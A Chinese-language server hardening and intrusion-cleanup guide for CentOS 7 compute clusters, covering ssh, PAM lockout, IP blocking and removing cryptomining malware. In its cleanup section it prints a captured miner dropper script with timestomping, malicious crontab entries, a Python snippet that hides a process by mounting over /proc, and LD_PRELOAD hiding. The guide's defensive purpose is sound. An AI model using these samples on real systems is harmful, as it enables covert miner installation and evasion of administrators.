跳转至

服务器安全

Info

如无特殊说明,本文档的所有操作均在CentOS7上完成。本文的安全配置仅针对计算服务器(通常对外仅开放ssh服务);

安全设置

账号相关设置

账号清理

服务器在安装系统时,实施人员可能创建了临时账号,其密码一般相对简单或固定,此类账号建议删除;公司设置的root初始密码也相对简单和模式化,也应在交付前修改为复杂的密码。

服务器部分系统软件实施安装过程中,可能需要创建专用的账号来运行,其密码一般相对简单或固定,很容易被猜测并暴力破解,建议及时更改为复杂密码或将其锁定。

# 删除账号
userdel -r username

部分账号长时间不再使用,但需要保留,建议将其锁定无法登录。

# 锁定账号
$ passwd -l username

# 解除锁定
$ passwd -u username

# 查看锁定状态,共有3种状态,LK:密码被锁定 NP:没有设置密码 PS:密码已设置
$ passwd -S username
username LK 2019-03-27 0 99999 7 -1 (Password locked, SHA512 crypt.)

强制复杂密码

从经验来看,系统被攻破,主要是使用简单密码被破解,建议服务器系统安装之后就设置密码规则,对密码长度、特殊字符、数字、字母大小写都做规定。系统使用之前做好这一步就可以抵御绝大部分入侵者的攻击。

主要修改文件 /etc/security/pwquality.conf,相关规则如下所示。

/etc/security/pwquality.conf
minlen = 10
dcredit = -1
ucredit = -1
ocredit = -1
lcredit = -1
  • minlen = 10 口令长度至少包含 10 个字符
  • dcredit = -1 口令包含1个数字 (数字为负数,表示至少有多少个大写字母;数字为正数,表示至多有多少个大写字母;下面同理)
  • ucredit = -1 口令包含1大写字母
  • ocredit = -1 口令包含1个特殊字符
  • lcredit = -1 口令包含1个小写字母

ssh服务设置

禁止root直接sshd远程登录可降低root账号被爆破的风险;更改默认的ssh端口,可减少被扫描攻击的风险。 /etc/ssh/sshd_config 在ssh服务配置文件中修改如下选项,然后重启ssh服务 systemctl restart sshd

  • PermitEmptyPassword no
    禁止使用空密码
  • PermitRootLogin no
    禁止root用户ssh直接远程登录
  • port 2348
    修改ssh登录端口号为2348

限制用户su

限制能su到root的用户,修改/etc/pam.d/su文件。如,只允许admin用户组su到root,则在该文件中添加 auth required pam_wheel.so group=admin

锁定恶意访问账户

使用pam_tally2.so模块可以动态锁定ssh多次登录失败的账户,防止服务器被暴力破解,可在/etc/pam.d/sshd中添加使用。

Note

pam_tally2.so模块添加在/etc/pam.d/sshd文件中,只限制ssh远程登录失败的情况,不限制su切换、本地登录等;添加在/etc/pam.d/system-auth中,会限制所有场景下的登录失败情况,ssh、su、本地、图形界面等;

ssh登录失败5次后拒绝访问,300s后解锁;root用户拒绝访问后,600s后解锁;

/etc/pam.d/sshd
#%PAM-1.0
auth       required     pam_tally2.so    deny=5    unlock_time=300 even_deny_root root_unlock_time=600
auth       required pam_sepermit.so
auth       substack     password-auth
auth       include      postlogin
# Used with polkit to reauthorize users in remote sessions
-auth      optional     pam_reauthorize.so prepare
account    required     pam_nologin.so
account    include      password-auth
password   include      password-auth
使用pam_tally2 命令可以查看登录失败次数、解除登录锁定
# 查看用户user那么登录失败次数
$ pam_tally2 -u username
Login           Failures Latest failure     From
username              2    10/25/22 16:39:55  192.168.1.10

# 手动解除锁定
$ pam_tally2 -r -u username
Login           Failures Latest failure     From
username              2    10/25/22 16:39:55  192.168.1.10
$ pam_tally2 -u username
Login           Failures Latest failure     From
username              0    

pam_tally2模块参数:

全局选项

onerr=[succeed|fail]
file=/path/to/log   失败登录日志文件,默认为/var/log/tallylog
audit               如果登录的用户没有找到,则将用户名信息记录到系统日志中
silent              不打印相关的信息
no_log_info         不通过syslog记录日志信息


AUTH选项

deny=n              失败登录次数超过n次后拒绝访问
lock_time=n         失败登录后锁定的时间(秒数)
unlock_time=n       超出失败登录次数限制后,解锁的时间
no_lock_time        不在日志文件/var/log/faillog 中记录.fail_locktime字段
magic_root          root用户(uid=0)调用该模块时,计数器不会递增
even_deny_root      root用户失败登录次数超过deny=n次后拒绝访问
root_unlock_time=n  与even_deny_root相对应的选项,如果配置该选项,则root用户在登录失败次数超出限制后被锁定指定时间

屏蔽恶意访问IP

使用lastb命令可以查看ssh登录失败的账户、时间、客户端IP。

$ lastb |head -n20
user1     ssh:notty    192.168.101.1    Tue Nov 29 10:25 - 10:25  (00:00)
user2     ssh:notty    192.168.101.2    Tue Nov 29 10:20 - 10:20  (00:00)
user3     ssh:notty    192.168.101.3    Tue Nov 29 09:50 - 09:50  (00:00)
user4     ssh:notty    192.168.101.4    Tue Nov 29 09:27 - 09:27  (00:00)
user5     ssh:notty    192.168.101.5    Tue Nov 29 09:25 - 09:25  (00:00)
user5     ssh:notty    192.168.101.5    Tue Nov 29 09:25 - 09:25  (00:00)
user4     ssh:notty    192.168.101.4    Tue Nov 29 09:24 - 09:24  (00:00)
user4     ssh:notty    192.168.101.4    Tue Nov 29 09:23 - 09:23  (00:00)
user4     ssh:notty    192.168.101.4    Tue Nov 29 09:07 - 09:07  (00:00)
user6     ssh:notty    192.168.101.6    Tue Nov 29 09:00 - 09:00  (00:00)
user4     ssh:notty    192.168.101.4    Tue Nov 29 08:59 - 08:59  (00:00)
user4     ssh:notty    192.168.101.4    Tue Nov 29 08:59 - 08:59  (00:00)
user4     ssh:notty    192.168.101.4    Tue Nov 29 08:58 - 08:58  (00:00)
user4     ssh:notty    192.168.101.4    Tue Nov 29 08:57 - 08:57  (00:00)
user4     ssh:notty    192.168.101.4    Tue Nov 29 08:56 - 08:56  (00:00)
user4     ssh:notty    192.168.101.4    Tue Nov 29 08:56 - 08:56  (00:00)
user6     ssh:notty    192.168.101.6    Tue Nov 29 08:37 - 08:37  (00:00)
user1     ssh:notty    192.168.101.1    Tue Nov 29 08:14 - 08:14  (00:00)
user1     ssh:notty    192.168.101.1    Tue Nov 29 08:10 - 08:10  (00:00)
user1     ssh:notty    192.168.101.1    Tue Nov 29 07:55 - 07:55  (00:00)
或查看登录日志也可以查看相关信息。
$ cat /var/log/secure|grep denied|tail -n20
Nov 29 09:25:01 login02 sshd[2399]: pam_access(sshd:auth): access denied for user `user5' from `192.168.65.104'
Nov 29 09:25:16 login02 sshd[2609]: pam_access(sshd:auth): access denied for user `user5' from `192.168.65.104'
Nov 29 09:25:26 login02 sshd[2683]: pam_access(sshd:auth): access denied for user `user5' from `192.168.65.104'
Nov 29 09:27:54 login02 sshd[4184]: pam_access(sshd:auth): access denied for user `user4' from `192.168.21.46'
Nov 29 09:28:11 login02 sshd[4386]: pam_access(sshd:auth): access denied for user `user4' from `192.168.21.46'
Nov 29 09:34:33 login02 sshd[8123]: pam_access(sshd:auth): access denied for user `user6' from `192.168.19.17'
Nov 29 09:47:17 login02 sshd[14859]: pam_access(sshd:auth): access denied for user `user3' from `192.168.20.83'
Nov 29 09:50:01 login02 sshd[16255]: pam_access(sshd:auth): access denied for user `user3' from `192.168.176.186'
Nov 29 09:50:17 login02 sshd[16431]: pam_access(sshd:auth): access denied for user `user3' from `192.168.176.186'
Nov 29 09:54:50 login02 sshd[19214]: pam_access(sshd:auth): access denied for user `user7' from `192.168.40.79'
Nov 29 10:14:48 login02 sshd[30572]: pam_access(sshd:auth): access denied for user `user8' from `192.168.248.247'
Nov 29 10:15:07 login02 sshd[30869]: pam_access(sshd:auth): access denied for user `user8' from `192.168.248.247'
Nov 29 10:15:23 login02 sshd[32409]: pam_access(sshd:auth): access denied for user `user8' from `192.168.248.247'
Nov 29 10:19:50 login02 sshd[4017]: pam_access(sshd:auth): access denied for user `user2' from `192.168.174.63'
Nov 29 10:20:03 login02 sshd[4153]: pam_access(sshd:auth): access denied for user `user2' from `192.168.174.63'
Nov 29 10:23:04 login02 sshd[6050]: pam_access(sshd:auth): access denied for user `user2' from `192.168.174.63'
Nov 29 10:23:20 login02 sshd[6283]: pam_access(sshd:auth): access denied for user `user2' from `192.168.174.63'
Nov 29 10:25:35 login02 sshd[7845]: pam_access(sshd:auth): access denied for user `user1' from `192.168.12.231'
Nov 29 10:25:49 login02 sshd[7995]: pam_access(sshd:auth): access denied for user `user1' from `192.168.12.231'
短时间内单个IP有大量的登录尝试可以判定为恶意IP,据此可以利用TCP Wrapper或防火墙来屏蔽恶意访问的IP。

tcpwrapper

简单防护可以利用TCP Wrapper过滤机制,手动添加恶意IP以屏蔽其对服务器的访问,学习门槛低,可以快速上手。一般在相对安全的环境中可以采用,如校园网中。

如 屏蔽192.168.174.63 192.168.12.231 这两个IP访问服务器

/etc/hosts.deny
ALL:192.168.74.63 192.168.12.231
或者使用白名单,只允许特定的IP、网段访问服务器

如 只允许192.168.120.0/24 这个网段的IP访问

/etc/hosts.allow
sshd:192.168.120.0/255.255.255.0
/etc/hosts.deny
all:all
详细用法见 TCP Wrapper

DenyHosts

将恶意访问IP添加到/etc/hosts.deny文件的过程可以使用程序自动化处理,使用DenyHosts自动将恶意访问IP加入/etc/hosts.deny文件中,详细用法见集群用户手册 DenyHosts

Fail2Ban

如果有更高要求,可以使用fail2ban,该软件自动调用iptables或firewalld防火墙屏蔽恶意访问IP,具有丰富的命令行。除屏蔽sshd服务访问外,还可以个性化设置对ftp、apache、nginx等服务的访问控制,详细用法见集群用户手册 Fail2Ban

双因素认证登录

风险较高的场景,如直接向公网开放ssh服务、同时用户较多较难管控导致极易出现弱口令,建议使用双因素认证登录。

具体使用见集群文档 双因素认证登录配置使用

内网穿透

一般计算服务器都处于内网或校园网内,在校外使用不便,因此有部分同学会使用内网穿透工具以便在外网环境下直接登录服务器,但因此也会将本来处于内网保护状态下的服务器直接暴露在公网中,使服务器面临极高的风险。

Danger

严禁使用内网穿透工具登录校园网内的服务器,私自这样做的建议直接封账号。

杀毒软件

暴露风险较高的服务器可以部署杀毒软件,定期对系统进行恶意文件扫描,具体使用见集群文档 clamav

防火墙

计算服务器或集群,一般在实施开始之前会关闭防火墙,以免干扰实施过程。

条件允许的话,对外联网的服务器建议开启防火墙,只放行业务需要的端口。

Summary

校园网内的服务器,强制使用更复杂的密码、自动锁定恶意登录账号、自动封禁恶意访问IP,就可以防范绝大多数的入侵行为;

如面向公网开放,建议启用双因素认证;

切勿私自在服务器上使用内网穿透工具;

系统安全漏洞修复

这里有些比较重要的系统安全漏洞公告,可以对照着修复。

阿里云安全公告

禁止联网

禁止联网可以防范内网穿透、外网暴力破解等风险;同时挖矿程序需要与外网的矿池链接通讯,根据经验被挖矿的机器断网之后挖矿进程会进入休眠状态,不会占满CPU资源,也不影响在运行的程序,同时也方便管理员处理(挖矿进程满负荷运行时机器会非常卡)。如果服务器或集群的安全措施不是很到位,建议断开外网连接。

入侵后处理

系统被入侵后,可能会被植入病毒,包括网络蠕虫病毒、勒索病毒、挖矿病毒,同时入侵者为了能长久地维持存在、随时连上系统,会对系统的正常文件做一定修改或替换。

因此系统被入侵后的处理,一般分为2部分,一部分是病毒的清理,一部分是系统安全漏洞的检查与修复。实际操作过程中,一般是2部分内容相互有关联,同时进行处理。

定位入侵源

通过last、lastb命令或日志文件/var/log/secure 可以查看尝试或已经侵入系统的IP地址,但有事入侵者会清理掉这些痕迹,此时可以查看/root/.ssh/known_hosts,该文件可能会包含入侵者的IP信息。

$ cat  ~/.ssh/known_hosts
172.2.217.115 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBP21+WVe4dQ1pQSCGRyuAQdVzatt1DlFtCT14rWQWY22pR6pPatSHAzFdhuBh+gEiWGa5wbdF4EvJAS7pxi0mqU=
172.5.228.103 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBP9YrcXturqxbaSUQ2p4832nlMU0dCNaFxKxfU5yYPeL+X/W49RzVHbTa3yWX3aZw4HqV1lE50ACZz+GM8fDkyc=
172.6.181.201 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIUMroC58g/Ip0oeO8Y/xJ9DYRLU/aCyCDzmoEIw+z+/D527YVKWvqd3RA//Ld3OEfsFjVU1Z9umGqgZS6zo85k=
172.1.110.164 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCft/L3Rkw75cBQezB+1hBd+NHy/2L4LYZO+da0QnT7SFQFhqYgYxdbmiHb19JwSuiVax4bsdbGsdcWol6Sqtrs=
172.13.134.63 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPvgPRNEAbIoHrpVVBkHXjAWQgN/EVFTEbl2MWELFD6H5pWhyfYU7E7VT2ts6unA2e5HPPTbCQe12iz62HyqIKk=
10.162.19.209 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBE2EC6Xuiyl0sFDsljqFQla3zG4VtXAN48U1fbfrwE6niDOsEB1E68ehdi8iP/z4SJKq1egimXgsjnSLbWzBwwA=
172.14.75.158 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDE+VecFIxiU9DQRpxKeDevP0TTm5KWv7+KZ5WG7/aD768tZGUvM1H/u76fw/WMo3yW6eIbcesdwmK+qM9Y2p80=
172.10.227.57 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBENNUJtyvLE/BeOhmhAtixbwM5gXDA7ZccyPe/LBm1KZ5lsiXVDr0dLLYH5pHqPpI2emlWgSeACtresJtroLGcY=
172.6.103.162 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBA47Tniw1DdB31r1FX2+VKou0Yq8SK203008vh97FoeuEYMe2fD5boc1UJMLnIKUMOf4DQhxYpCLiWxAzXOmYRQ=
172.4.207.18 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBES2OpwySkmomqRjRElKtZfZSIMSenEdTGTAc4biaJfrypelcLHjBu21S5EkB2l8NzqHHDzz4F2ZZ0C19USI0OE=
172.10.234.55 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBByN0kSUf2hGZpQ0i11Q2/r/XyTWEZm4hwoQrN9D7qqco+uLBCJygQ+v1iLNNHqJBFWs7fOsz4uB0K5DM/Q813Q=
172.10.86.211 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNWryCxo318RBGrlwrCd1ta0BMsyYQMAqtyyjI08nqKLo38ZHeonRmHC3Q7NQ3CG8bMH5s+uSpEE6kGICZgnuHI=
172.11.81.170 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBbJQnU0Z49swhtmJw1uJJmjIiNRPyvtneh2YNwKonzehlSsiYpvhpK7AH14OBsWY55CMO5bfcF+CPezC7dRhS0=
172.1.61.154 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD9O0B4j87IKVtqYNUy9IWVz353xq32RkoPyb+VXHIv2zzXwuK50JQKaFynXdbN+VrjZATJEJlvZN5C+nanysf3Id94yNj9VlPKBkl7s8sD8l2vx3OAt66q3qm2ULz9N8fsDGVi38HX+7iYG6neovuFNNKA6BXB9fV8IeyRzafvdx9ddDbKsNMoj2xhMIXJk1pwiZXibEDhy/wESa4zmlKDRIemFNypQm9BLVnpc7I4goKejWQIueOWfvQpdyMVmYOgjZztdgD1KlisCL0x3GShkQG9agy6MfaH2nKSgEUb74F+mglzXfWnuWZOe7G9TotgvCrQNEXRaCqQXswNhH0v
172.7.191.74 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNX7c4YB8qsqt1Xb4/0riZg55qFnNnPU6MsOyFxp/gM4FU6Z4KJNue+jLFsB55qP+tWVhHJ0A+9ujHzlDtXZzXw=
172.15.215.114 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBL16Ih8Mh4Wr+sjiJZXq3k/OP8fcTCZjoNHmsrwW0z2vhRhQhGmC4YoLUqx3sFGJv0WvusozcnW5k/MVELHkImk=

病毒清理

目前遇到的入侵病毒多为挖矿病毒,挖矿病毒典型特征为集群所有节点负载非常高,高负载进程名称奇怪或非正常路径,部分场景下相关进程会被隐藏,top或ps无法看到。

挖矿病毒一般需要连接外网,与矿池或代理进行通讯,信息中心会监测校内服务器IP进出校园网的相关数据包,部分挖矿相关数据包会被检测到并对用户进行预警。

Warning

一旦系统被入侵,很有可能部分关键命令被入侵者替换,在病毒排查过程中使用这些命令将不会显示病毒进程,如top、ps、netstat等。因此使用任何系统命令前,可以先用virustotal检测该文件是否正常,如果检测显示无法找到该文件或直接报恶意文件,则不能使用该文件,可以从其它服务器拷贝正常的文件替换,或使用busybox代替。virustotal具体用法见集群用户手册 virustotal,异常文件或URL检测也可以使用微步在线沙箱

被入侵的机器上lsattr和chattr也可能被替换了,这两命令可以给sshd等被替换的文件加上i或者a属性,导致从别的机器复制过来覆盖或者重装对应包时无法进行替换。由于lsattr和chattr被替换了,所以lsattr查看属性时,看不到i或者a,增加了处理难度,此时建议拷贝其他服务器的正常lsattr和chattr到本机进行处理,或使用busybox的lsattr和chattr来处理。

Info

发现机器被入侵了第一件事可以history先看一下入侵者有没有留下操作记录,部分入侵者不是很注意就会留下记录,会减轻排查的难度。

busybox

BusyBox是标准Linux 工具的一个单个可执行实现。

BusyBox 包含了一些简单的工具,例如 cat 和 echo,还包含了一些更大、更复杂的工具,例如 grep、find、mount 以及 telnet。

病毒排查时优先使用busybox的命令,以防入侵者替换了系统命令,干扰排查过程。

Info

本文档为演示病毒查找过程,未完全使用busybox。

以下为busybox安装和使用举例。

$ wget https://busybox.net/downloads/binaries/1.30.0-i686/busybox 
$ chmod +x busybox
$ cp busybox /usr/bin 
$ busybox  top

定时任务

一般挖矿病毒会设置定时启动,以便在挖矿进程被杀死或系统重启之后能启动新的挖矿进程。病毒处理第一步便是查看各定时任务是否异常,对异常定时任务及时处理,并从中找到病毒文件将其删除。

如下所示,test账号因弱口令被破解入侵后被植入的挖矿病毒,并设置了定时启动。

$ ll /var/spool/cron/
total 8
-rw------ 1 test test 138 Dec 25 06:31 test
$ crontab -l
* * * * * /public/home/test/pty3 > /dev/null 2>&l &
* * * * * /dev/shm/pty3 > /dev/null 2>&1 &
* * * * * /var/tmp/pty3 > /dev/null 2>&1 &
使用systemctl list-unit-files查看是否有异常的服务被启动。

定时启动或重启后启动相关目录如下,需要认真检查是否有异常。

/etc/rc.local
/etc/rc.d/init.d/
/etc/profile
/etc/profile.d/
/var/spool/cron/
/etc/cron.d
/etc/cron.daily
/etc/cron.deny
/etc/cron.hourly
/etc/cron.monthly
/etc/crontab
/etc/cron.weekly

病毒位置

使用top查看到有异常高负载进程,通过进程id查看进程位置,然后可以进行清理。

$ ll /proc/3644/exe
lrwxrwxrwx 1 root root o Jan 22 15:02 /proc/3644/exe -> /tmp/z/xmrig
有的病毒会将挖矿程序拷贝到一个临时的地方运行,然后将拷贝的文件删掉以隐藏其真正的位置。这种一般可以通过搜索挖矿病毒常用的位置,或根据后面的定时任务来寻找到蛛丝马迹。可以尝试使用 systemctl 命令查询进行是如何被运行的 systemctl status 病毒pid
$ ll /proc/3644/exe
lrwxrwxrwx 1 root root o Jan 22 15:02 /proc/3644/exe -> /tmp/xmrig(deleted)
如这个病毒脚本,将运行中的挖矿病毒文件删掉,并修改关键文件、关键进程的时间信息,增加查找的难度。
/dev/shm/pty3
#!/bin/sh
dir=$(pwd) 2>/dev/null
rand=$(cat /dev/urandom | tr -dc 'a-z0-9' | fold -w 12 | head -n 1) 2>/dev/null
pid=$(cat $dir/pids) 2>/dev/null
cp $dir/mihner /sbin/mihner 2>/dev/null
cp /sbin/mihner /tmp/$rand 2>/dev/null
/tmp/$rand -lan 10.10.10.2:443 -r -c -k -h $rand
rm -rf /tmp/$rand 2>/dev/null
proc=$(ps x |grep $rand |grep -v grep |awk '{print $1}') 2>/dev/null
echo $proc >pids
chmod +x $dir/pids 2>/dev/null
touch -t 202008190000 $dir/pids 2>/dev/null
touch -t 202011240000 $dir/exec 2>/dev/null
touch -t 202003210000 $dir/run 2>/dev/null
touch -t 202001210000 /sbin/mihner 2>/dev/null
touch -t 202001020000 $dir/smart
touch -t 202001040000 $dir/shc
rm -rf $rand mihner go  2>/dev/null
挖矿病毒经常隐匿的位置有,病毒文件经常会隐藏文件的形式存放,ls查看时需要加上-a选项。
/var/tmp/
/dev/shm/
/opt/
/tmp/
为了隐匿更深,部分病毒目录为...,查找时常常会被忽略,如下所示。
$ ll -rtha /opt/
total 60K
drwxr-xr-x.  2 root  root  4.0K May  17 2013 rh
drwxr-xr-x.  6 root  root  4.0K Jul   9 2015 ibutils
drwxr-xr-x.  3 root  root  4.0K Jul   9 2015 intel
dr-xr-xr-x. 32 root  root  4.0K Oct  5 2021 ..
drwxr-xr-x   2 root  root  4.0K Nov 11 01:33 ...
drwxr-xr-x. 12 root  root  4.0K Nov 26 16:57 .
$ ll -rtha /opt/.../
total 5.2M
-rwxr-xr-x   1 root root  44K Jul  23 2021 shc
-rwxr-xr-x   1 root root  13K Oct 14 2021 libsmart.2.so
-rwxr-xr-x   1 root root   59 Oct 14 2021 smart
-rwxr-xr-x   1 root root  149 Oct 14 2021 run
-rwxr-xr-x   1 root root  115 Oct 14 2021 go
-rwxr-xr-x   1 root root 5.1M Nov  7 18:02 mihner
-rwxr-xr-x   1 root root  691 Nov 11 01:32 exec
drwxr-xr-x   2 root root 4.0K Nov 11 01:33 .
drwxr-xr-x. 12 root root 4.0K Nov 26 16:57 ..
病毒文件常常不在一个位置出现,搜出来一个之后,可以使用find或locate来定位更多的位置,并逐一删除。
$ locate mihner
/opt/.../mihner
/sbin/mihner

同时也可以用杀毒软件对/lib/ /bin/ /usr/ /var/ /opt/ /tmp/ /dev/登录进行扫描,查看是否有被感染的文件,具体用法见集群用户文档 clamav

进程隐藏

为躲避清理,部分挖矿病毒会利用特殊办法隐藏自身,使管理员无法定位清理。

篡改命令

部分挖矿病毒通过篡改top、ps命令,让该命令显示时过滤挖矿病毒。可以通过stat命令查看命令的修改时间以判断命令是否被篡改,如果Change的时间在最近,则很有可能被篡改了。

此时建议从其它同版本的服务器中拷贝正常命令使用,或安装htop。

$ stat /usr/bin/top
  File: ‘/usr/bin/top’
  Size: 106848      Blocks: 216        IO Block: 4096   regular file
Device: fd00h/64768d    Inode: 738247651   Links: 1
Access: (0755/-rwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2022-11-26 10:21:42.742891556 +0800
Modify: 2018-04-11 08:42:59.000000000 +0800
Change: 2022-11-21 18:21:55.015996564 +0800
 Birth: -
Hook系统调用

这需要从ps、top的命令执行原理来解释,这些命令执行一般分为以下几步:

  • 调用openat函数获取/proc目录的文件句柄。
  • 调用getdents函数递归获取/proc目录下所有(包含子文件)文件。
  • 调用open函数打开/proc/pid/stat,status,cmdline文件,获取进程数据,打印出来。

攻击者一般通过以下几种操作来达到隐藏进程的操作。

  • 修改命令需要调用的函数源码,比如open()、getdents()
  • 修改libc库中的readdir函数源码
  • 利用环境变量LD_PRELOAD或者配置ld.so.preload使得恶意文件先于系统标准库加载,使得系统使用命令时绕过系统标准库,达到进程隐藏的目的。

前两种方式使用相对复杂,实际场景中多使用第三种方式。

一般通过查看环境变量LD_PRELOAD/etc/ld.so.preload文件是否有异常。

$ cat /etc/ld.so.preload
/usr/local/lib/libprocesshider.so
$ export -p|grep LD_PRELOAD
$
这里的libprocesshider.so为挖矿病毒常用的用于进程隐藏的库,需要将其删除,同时/etc/ld.so.preload文件中也将其删除。
挂载覆盖

挂载一些空的路径到/proc对应进程号下面,ps等命令在遍历/proc时则没有办法找到该进程的信息。

# -*- coding:utf-8 -*- 
import os 
import time 
while True:
    pid = os.getpid() 
    print "start!" 

    #当然也可以使用mount -o bind /empty/dir /porc/xxxx 
    os.system("mount /dev/sda1 /proc/%s"%str(pid))

    print "end" 
    time.sleep(1)  

对抗方法:cat /proc/mount 查看挂载情况,如下所示,可以看到 259964 这个进程被系统盘覆盖了。

$ cat /proc/mounts |grep proc
proc /proc proc rw,nosuid,nodev,noexec,relatime 0 0
systemd-1 /proc/sys/fs/binfmt_misc autofs rw,relatime,fd=22,pgrp=1,timeout=0,minproto=5,maxproto=5,direct,pipe_ino=43071 0 0
binfmt_misc /proc/sys/fs/binfmt_misc binfmt_misc rw,relatime 0 0
/dev/mapper/system-root /proc/259964 xfs rw,relatime,attr2,inode64,noquota 0 0
/dev/mapper/system-root /proc/1 xfs rw,relatime,attr2,inode64,noquota 0 0

# 查看这个进程目录,发现不是常规的进程目录的结构,而是与/tmp的目录内容一致,可以确认该进程被覆盖了
$ ls /proc/259964
卸载挂载的盘后再 top 查看,可以看到病毒进程了。
$ umount /proc/259964
$ top
top - 09:34:03 up 101 days, 21:05,  3 users,  load average: 36.77, 36.54, 36.60
Tasks: 437 total,   1 running, 436 sleeping,   0 stopped,   0 zombie
%Cpu(s): 99.9 us,  0.1 sy,  0.0 ni,  0.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
KiB Mem : 19753308+total, 18282083+free, 14036832 used,   675428 buff/cache
KiB Swap:  4194300 total,  4194300 free,        0 used. 17963222+avail Mem 

   PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND                                                                                               
259964 root       5 -15 4725848  82268   1748 S  3383  0.0  14666:40 h35rn5kz6fls  

检测隐藏进程

简单处理

ps -ef | awk '{print}' | sort -n | uniq >1
ls /proc | sort -n |uniq >2
diff 1 2
通过篡改系统命令、hook调用来隐藏进程相对好处理,部分病毒会使用更高级的方式隐藏进程,处理起来不是太容易,此时可以通过unhide来搜索隐藏起来的进程,具体使用见集群文档 unhiden

如下这种进程常规方法无法找出,可以通过unhide检测到。

# 204336这个进程存在但ls /proc/无法查看
$ ls /proc/204336/exe
lrwxrwxrwx 1 root root 0 Aug 28 22:20 /proc/204336/exe -> /tmp/y8h3fj490cl3 (deleted)
$ ll -d /proc/[1-9]*/|grep 204336
$ 
也可以使用 sysdig
$ sysdig -c topprocs_cpu # 该命令可以输出cpu占用的排行,经测试可以显示出被隐藏的进程

异常网络服务

查看是否有异常网络服务,部分入侵者为保证管理员更改了相关账号密码和秘钥之后还能连上服务器,可能会在服务器上运行代理程序。

如下所示,系统运行了2个ssh服务,其中一个服务端口为5288,显得比较可疑。

$ netstat -ltupan |grep LISTEN|grep "0 0.0.0.0"
tcp        0      0 0.0.0.0:5288            0.0.0.0:*               LISTEN      27467/sshd
tcp        0      0 0.0.0.0:7112            0.0.0.0:*               LISTEN      3691/perl
tcp        0      0 0.0.0.0:3309            0.0.0.0:*               LISTEN      31265/mysqld
tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN      1735/rpcbind
tcp        0      0 0.0.0.0:20048           0.0.0.0:*               LISTEN      1899/rpc.mountd
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      27467/sshd
tcp        0      0 0.0.0.0:15001           0.0.0.0:*               LISTEN      21926/pbs_server
tcp        0      0 0.0.0.0:53081           0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:15002           0.0.0.0:*               LISTEN      22123/pbs_mom
tcp        0      0 0.0.0.0:15003           0.0.0.0:*               LISTEN      22123/pbs_mom
tcp        0      0 0.0.0.0:33563           0.0.0.0:*               LISTEN      1686/rpc.statd
tcp        0      0 0.0.0.0:15004           0.0.0.0:*               LISTEN      2199/maui
tcp        0      0 0.0.0.0:42559           0.0.0.0:*               LISTEN      2199/maui
tcp        0      0 0.0.0.0:42560           0.0.0.0:*               LISTEN      2199/maui
tcp        0      0 0.0.0.0:2049            0.0.0.0:*               LISTEN      -
使用lsof查看该进程调用的库,可以看到有个比较可疑的库/usr/local/lib/libproc-2.8.so,正常sshd程序不会使用该库。

可以删掉该文件,并查看/etc/ld.so.preload中是否写入的该文件。

$ lsof -p 27467
COMMAND   PID USER   FD   TYPE             DEVICE SIZE/OFF       NODE NAME
sshd    27467 root  cwd    DIR                8,3     4096          2 /
sshd    27467 root  rtd    DIR                8,3     4096          2 /
sshd    27467 root  txt    REG                8,3   815520    4476781 /usr/sbin/sshd
sshd    27467 root  mem    REG                8,3    57824    4459716 /usr/lib64/libnss_files-2.17.so
sshd    27467 root  mem    REG                8,3    44088    4459728 /usr/lib64/librt-2.17.so
.
.
.
sshd    27467 root  mem    REG                8,3    42520    4460347 /usr/lib64/libwrap.so.0.7.6
sshd    27467 root  mem    REG                8,3    11328    4463459 /usr/lib64/libfipscheck.so.1.2.1
sshd    27467 root  mem    REG                8,3    13111   10488202 /usr/local/lib/libproc-2.8.so
sshd    27467 root  mem    REG                8,3   164432    4459691 /usr/lib64/ld-2.17.so
sshd    27467 root    0r   CHR                1,3      0t0       1028 /dev/null
sshd    27467 root    1u  unix 0xffff88001d1aa1c0      0t0 3290716158 socket
sshd    27467 root    2u  unix 0xffff88001d1aa1c0      0t0 3290716158 socket
sshd    27467 root    3u  IPv4         3290651244      0t0        TCP *:5288 (LISTEN)
sshd    27467 root    4u  IPv6         3290651246      0t0        TCP *:5288 (LISTEN)
sshd    27467 root    5u  IPv4         3290651248      0t0        TCP *:ssh (LISTEN)
sshd    27467 root    6u  IPv6         3290651250      0t0        TCP *:ssh (LISTEN)
